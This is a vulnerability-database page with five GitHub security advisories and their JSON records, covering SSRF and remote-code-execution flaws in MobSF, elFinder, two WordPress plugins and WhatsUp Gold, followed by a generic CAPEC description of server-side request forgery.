GHSA-WPFF-WM84-X5CX

Vulnerability from github – Published: 2024-04-04 14:39 – Updated: 2025-06-30 17:54
VLAI
Summary
Mobile Security Framework (MobSF) vulnerable to SSRF in firebase database check
Details

Impact

What kind of vulnerability is it? Who is impacted? SSRF vulnerability in firebase database check logic. The attacker can cause the server to make a connection to internal-only services within the organization’s infrastructure. When malicious app is uploaded to Static analyzer, it is possible to make internal requests.

Credits: Oleg Surnin (Positive Technologies).

Patches

Has the problem been patched? What versions should users upgrade to? v3.9.8 and above

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading? Code level patch

References

Are there any links users can visit to find out more? https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2373

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-04T14:39:03Z",
    "nvd_published_at": "2024-04-04T16:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\nSSRF vulnerability in firebase database check logic. The attacker can cause the server to make a connection to internal-only services within the organization\u2019s infrastructure. When malicious app is uploaded to Static analyzer, it is possible to make internal requests.\n\nCredits:  Oleg Surnin (Positive Technologies).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nv3.9.8 and above\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nCode level patch\n\n### References\n_Are there any links users can visit to find out more?_\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2373",
  "id": "GHSA-wpff-wm84-x5cx",
  "modified": "2025-06-30T17:54:56Z",
  "published": "2024-04-04T14:39:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-wpff-wm84-x5cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2373"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/43bb71d115d78c03faa82d75445dd908e9b32716"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mobile Security Framework (MobSF) vulnerable to SSRF in firebase database check"
}

GHSA-WPH3-44RJ-92PR

Vulnerability from github – Published: 2021-06-16 17:04 – Updated: 2022-08-11 00:02
VLAI
Summary
elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE
Details

Impact

We recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration.

Patches

The issues were addressed in our last release, 2.1.59.

Workarounds

If you can't update to 2.1.59, make sure your connector is not exposed without authentication.

Reference

Further technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.

For more information

If you have any questions or comments about this advisory, you can contact: - The original reporters, by sending an email to vulnerability.research@sonarsource.com; - The maintainers, by opening an issue on this repository.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "studio-42/elfinder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-78",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-15T21:01:45Z",
    "nvd_published_at": "2021-06-14T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nWe recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration. \n\n### Patches\n\nThe issues were addressed in our last release, 2.1.59. \n\n### Workarounds\n\nIf you can\u0027t update to 2.1.59, make sure your connector is not exposed without authentication.\n\n### Reference\n\nFurther technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n    - The original reporters, by sending an email to vulnerability.research@sonarsource.com;\n    - The maintainers, by opening an issue on this repository.",
  "id": "GHSA-wph3-44rj-92pr",
  "modified": "2022-08-11T00:02:01Z",
  "published": "2021-06-16T17:04:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-qm58-cvvm-c5qr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-wph3-44rj-92pr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32682"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17"
    },
    {
      "type": "WEB",
      "url": "https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Studio-42/elFinder"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/164173/elFinder-Archive-Command-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE"
}

GHSA-WPHX-MJPF-39XM

Vulnerability from github – Published: 2025-03-22 09:30 – Updated: 2025-03-22 09:30
VLAI
Details

The Your Friendly Drag and Drop Page Builder — Make Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.10 via the make_builder_ajax_subscribe() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-22T07:15:24Z",
    "severity": "MODERATE"
  },
  "details": "The Your Friendly Drag and Drop Page Builder \u2014 Make Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.10 via the make_builder_ajax_subscribe() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-wphx-mjpf-39xm",
  "modified": "2025-03-22T09:30:32Z",
  "published": "2025-03-22T09:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13856"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/make-builder/trunk/plugins-screen.php#L83"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3259333%40make-builder%2Ftrunk\u0026old=2235851%40make-builder%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/make-builder/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7ffcb74b-230b-4629-b22d-5db96ac5fa06?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQ29-3HM6-R46X

Vulnerability from github – Published: 2022-05-14 03:19 – Updated: 2022-05-14 03:19
VLAI
Details

An SSRF issue was discovered in NmAPI.exe in Ipswitch WhatsUp Gold before 2018 (18.0). Malicious actors can submit specially crafted requests via the NmAPI executable to (1) gain unauthorized access to the WhatsUp Gold system, (2) obtain information about the WhatsUp Gold system, or (3) execute remote commands.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-8939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-01T16:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An SSRF issue was discovered in NmAPI.exe in Ipswitch WhatsUp Gold before 2018 (18.0). Malicious actors can submit specially crafted requests via the NmAPI executable to (1) gain unauthorized access to the WhatsUp Gold system, (2) obtain information about the WhatsUp Gold system, or (3) execute remote commands.",
  "id": "GHSA-wq29-3hm6-r46x",
  "modified": "2022-05-14T03:19:00Z",
  "published": "2022-05-14T03:19:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8939"
    },
    {
      "type": "WEB",
      "url": "https://docs.ipswitch.com/NM/WhatsUpGold2018/01_ReleaseNotes/index.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQ2M-PVCJ-FM24

Vulnerability from github – Published: 2025-12-18 15:30 – Updated: 2025-12-18 15:30
VLAI
Details

The Prime Slider – Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.9 via the import_elementor_template AJAX action. This makes it possible for authenticated attackers, with subscriber level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-14277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T13:15:47Z",
    "severity": "MODERATE"
  },
  "details": "The Prime Slider \u2013 Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.9 via the import_elementor_template AJAX action. This makes it possible for authenticated attackers, with subscriber level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-wq2m-pvcj-fm24",
  "modified": "2025-12-18T15:30:42Z",
  "published": "2025-12-18T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14277"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3419222/bdthemes-prime-slider-lite"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/069a56a1-ca17-43cc-a51f-51b6111f5b61?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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